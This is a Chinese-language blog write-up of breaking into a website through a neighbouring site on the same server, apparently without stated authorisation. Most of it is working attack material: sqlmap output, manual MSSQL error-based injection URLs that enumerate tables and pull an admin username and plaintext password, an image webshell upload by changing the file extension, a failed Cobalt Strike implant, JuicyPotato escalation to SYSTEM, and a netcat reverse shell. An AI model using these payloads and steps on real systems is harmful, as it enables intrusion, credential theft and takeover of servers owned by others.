剑走偏锋:旁站入侵到提权

剑走偏锋:旁站入侵到提权

已经实习了一个月,感觉每天还是很充实的~

前言:

目标站:A.com

在经过一系列常规操作之后,发现主站没有什么可以入手的地方,好在 A 站没有CDN,可以尝试从旁站切入。

IP反查,得到大概20几个同服域名,手动过了几个,发现旁站 B.com (aspx+mssql) 某页面参数加单引号后报错,丢到sqlmap里先去跑一下,继续看别的旁站,然而大部分都是WordPress站点或者是纯静态也没什么搞头,看了一会发现sqlmap跑出来的结果如下:

1
2
3
4
5
6
7
8
9
10
11
12
---
Parameter: ProductID (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: ProductID=2' AND 1913=1913 AND 'GquC'='GquC
Type: error-based
Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause(IN)
Payload: ProductID=2' AND 1360 IN (SELECT (CHAR(113)+CHAR(113)+CHAR(107)+CHAR(107)+CHAR(113)+(SELECT (CASE WHEN (1360=1360) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(122)+CHAR(113)+CHAR(98)+CHAR(113))) AND 'JOdp'='JOdp
---
web server operating system: Windows 8.1 or 2012 R2
web application technology: ASP.NET 4.0.30319, ASP.NET, Microsoft IIS 8.5
back-end DBMS: Microsoft SQL Server 2008

在使用sqlmap继续跑数据时,发现B站所有的动态页面均报错,报错内容翻译过来大致就是数据库短时间内查询请求过多,导致线程池过载无法处理。

等了大概十分钟左右,站点又恢复了正常,所以关键时刻还是手工靠谱啊。

mssql报错注入:

由于sqlmap给出的提示有报错注入,这里直接用报错注入了,相对来说效率也比较高,下面直接给出注入过程和需要注意的地方:

获取数据库名:

1
2
1. http://B.com/AutoMain.aspx?ProductID=1' and db_name()>0--
b.com_db

查询当前数据信息:

1
2
1. http://B.com/AutoMain.aspx?ProductID=1' having 1=1--
Product.ProductID

踩坑指南:

子查询不支持返回多条数据,且mssql不像MySQL那样支持limit,下面给出解决办法

获取表名:

1
2
3
4
5
6
1. http://B.com/AutoMain.aspx?ProductID=1' and 1=(select top 1 name from sysobjects where xtype='u' and name !='info');--
2. http://B.com/AutoMain.aspx?ProductID=1' and 1=(select top 1 table_name from information_schema.tables);--
此方法可查询任意用户表:
http://B.com/AutoMain.aspx?ProductID=1' and (select top 1 name from (select top 1 id,name from sysobjects where xtype=char(85)) T order by id desc) > 1--
获取到的用户表:
AdminLogin

获取列名:

1
2
3
4
5
6
7
8
1. http://B.com/AutoMain.aspx?ProductID=1' and 1=(select top 1 name from syscolumns where id=(select id from sysobjects where name = 'AdminLogin') and name<>'id');--
2. http://B.com/AutoMain.aspx?ProductID=1' and 1=(select top 1 column_name from information_schema.columns);--
此方法可查询AdminLogin表的任意列:
3. http://B.com/AutoMain.aspx?ProductID=1' and (select top 1 col_name(object_id('AdminLogin'),1) from sysobjects) > 1--
获取到用户表的列名:
AdminID
UserName
Password

获取数据:

1
2
3
4
5
1. http://B.com/AutoMain.aspx?ProductID=1' and (select top 1 UserName from AdminLogin where AdminID=1) > 1--
2. http://B.com/AutoMain.aspx?ProductID=1' and (select top 1 Password from AdminLogin where AdminID=1) > 1--
获取到的账号密码:
admin
islamabad

效果如图:

2

旁站GetShell:

通过获取到的账号密码成功登B站的网站后台

3

文件上传处只校验文件类型,上传图片马抓包改后缀即可,连接shell后发现无权限跨目录,只能继续提权了

4

主机提权:

一开始看了下系统进程应该没有杀软(其实是有的,国外的小众杀软名字不是很起眼),补丁也没打几个,以为很好提。

想着常规操作就能拿下,直接穿了CS的远控上去运行,等了会发现并没有主机上线,仔细一看刚传的木马没了,才知道遇上杀软了。然后又试了几个本地提权的exp,不是被杀就是报错。

后来想起来土司有老哥分享过免杀的提权神器:JuicyPotao,使用方法:https://www.4hou.com/technology/13698.html

成功提权:

5

提权成功之后,后面的操作就行云流水了,目的是拿 A.com 的shell ,先用nc反弹出system权限的cmdshell,然后可以直接写马,也可以远程下载,等等姿势还有很多…

参考文章:

https://www.jianshu.com/p/0cf7bd46237e

https://github.com/aleenzz/MSSQL_SQL_BYPASS_WIKI

作者

Se7en

发布于

2019-07-26

更新于

2022-03-31

许可协议

评论